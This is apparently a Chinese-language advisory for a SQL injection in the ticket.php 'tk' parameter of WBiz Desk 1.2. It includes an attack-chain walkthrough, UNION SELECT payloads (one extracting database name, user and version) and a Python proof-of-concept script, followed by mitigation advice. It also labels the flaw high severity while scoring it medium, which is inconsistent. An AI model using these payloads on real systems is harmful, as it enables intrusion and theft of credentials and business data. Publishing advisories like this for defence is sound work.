CVE-2023-53935 WBiz Desk 1.2 SQL注入漏洞

漏洞信息

漏洞编号

CVE-2023-53935

漏洞类型

SQL注入

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WBiz Desk

漏洞概述

CVE-2023-53935是存在于WBiz Desk 1.2版本中的一个高危SQL注入漏洞。该漏洞存在于ticket.php文件中的tk参数，非管理员用户可以利用此漏洞操纵数据库查询。攻击者通过构造恶意的SQL语句，利用UNION-based技术可以提取数据库中的敏感信息，包括用户凭据、配置数据以及其他机密业务信息。WBiz Desk是一款简单高效的帮助台系统，广泛应用于企业客户服务和技术支持场景。该漏洞的CVSS评分为5.4（中危），攻击向量为网络，认证要求为低权限，无需用户交互即可实施攻击。虽然机密性和完整性影响较低，但仍然可能导致敏感数据泄露风险。对于部署了该系统的企业而言，应立即采取修复措施，避免敏感信息被未授权访问。

技术细节

该SQL注入漏洞存在于WBiz Desk 1.2的ticket.php文件中，攻击者通过tk参数注入恶意SQL代码。漏洞的根本原因在于应用程序未对用户输入进行充分的参数化查询处理，导致攻击者可以在SQL查询中插入额外的SQL语句。具体利用方式如下：首先，攻击者向ticket.php端点发送包含UNION SELECT语句的畸形请求，通过tk参数注入SQL代码。由于应用程序直接将该参数值拼接到SQL查询中而非使用参数化查询，注入的SQL代码将被数据库引擎执行。攻击者可以利用UNION技术联合多个查询结果，从而提取数据库中的敏感信息，如用户名、密码哈希、邮箱地址等。该漏洞允许低权限用户（PR:L）实施攻击，攻击复杂度低（AC:L），无需任何用户交互（UI:N）。受影响组件为网络可访问（AV:N），攻击成功后可能导致低程度的机密性（C:L）和完整性（I:L）影响。修复此类漏洞的标准方法是使用参数化查询或预编译语句，确保用户输入被作为数据而非SQL代码执行。

攻击链分析

STEP 1

步骤1：信息收集

攻击者识别目标网站使用WBiz Desk 1.2帮助台系统，并定位到ticket.php端点

STEP 2

步骤2：漏洞探测

通过在tk参数中注入单引号和UNION SELECT语句，验证SQL注入漏洞是否存在

STEP 3

步骤3：构造恶意请求

攻击者构造包含UNION技术的SQL注入payload，如：1' UNION SELECT 1,2,3,4,5,6,7,8-- -

STEP 4

步骤4：提取数据库信息

利用UNION SELECT语句提取数据库名称、用户信息、版本等敏感数据

STEP 5

步骤5：数据窃取

通过迭代查询获取用户表、密码哈希、配置文件等机密信息

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# CVE-2023-53935 SQL Injection PoC for WBiz Desk 1.2
# Target: WBiz Desk ticket.php 'tk' parameter

target_url = "http://target.com/ticket.php"

# Basic SQL injection test - UNION SELECT payload
payload = "1' UNION SELECT 1,2,3,4,5,6,7,8-- -"

params = {
    "tk": payload
}

print("[*] Sending SQL injection payload...")
print(f"[*] Target: {target_url}")
print(f"[*] Payload: {payload}")

try:
    response = requests.get(target_url, params=params, timeout=10)
    print(f"[*] Status Code: {response.status_code}")
    print(f"[*] Response Length: {len(response.text)}")
    
    # Check for SQL error indicators
    sql_errors = ["mysql_", "syntax error", "sql", "warning"]
    for error in sql_errors:
        if error.lower() in response.text.lower():
            print(f"[!] Potential SQL error detected: {error}")
            print("[+] Vulnerability may be present")
except requests.exceptions.RequestException as e:
    print(f"[-] Request failed: {e}")

# Database enumeration payload
enum_payload = "1' UNION SELECT database(),user(),version(),4,5,6,7,8-- -"
print(f"\n[*] Extracting database info with payload: {enum_payload}")

影响范围

WBiz Desk 1.2

防御指南

临时缓解措施

在官方修复补丁发布前，可采取以下临时缓解措施：1）限制ticket.php端点的访问权限；2）使用Web应用防火墙规则拦截可疑的SQL注入请求；3）对tk参数实施严格的输入白名单验证；4）监控数据库查询日志，及时发现异常查询行为；5）考虑暂时禁用受影响的功能模块。